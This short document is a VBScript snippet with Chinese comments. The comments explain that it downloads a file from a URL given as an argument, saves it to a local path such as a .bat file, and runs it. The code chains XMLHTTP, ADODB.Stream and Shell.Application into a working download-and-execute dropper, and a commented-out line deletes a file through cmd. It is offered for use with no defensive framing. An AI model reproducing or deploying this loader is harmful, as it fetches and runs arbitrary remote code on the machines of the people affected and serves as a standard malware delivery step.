'说明：

'这是一个从某一个网站下载内容保存到一个文件，然后执行的vb脚本代码 '其中有两个参数，一个是要保存到的文件的路径，如（C:\a.bat) '另一个参数是访问的网页的url fn=wscript.Arguments(1): set x=CreateObject("Microsoft.XMLHTTP"): x.Open "GET",wscript.Arguments(0),0: x.Send(): set m=CreateObject("ADODB.Stream"): m.Mode=3: m.Type=1: m.Open(): m.Write x.ResponseBody: m.SaveToFile fn,2: set a=CreateObject("shell.application"): a.shellexecute fn: 'a.shellexecute "cmd.exe","/c del C:\sa.txt"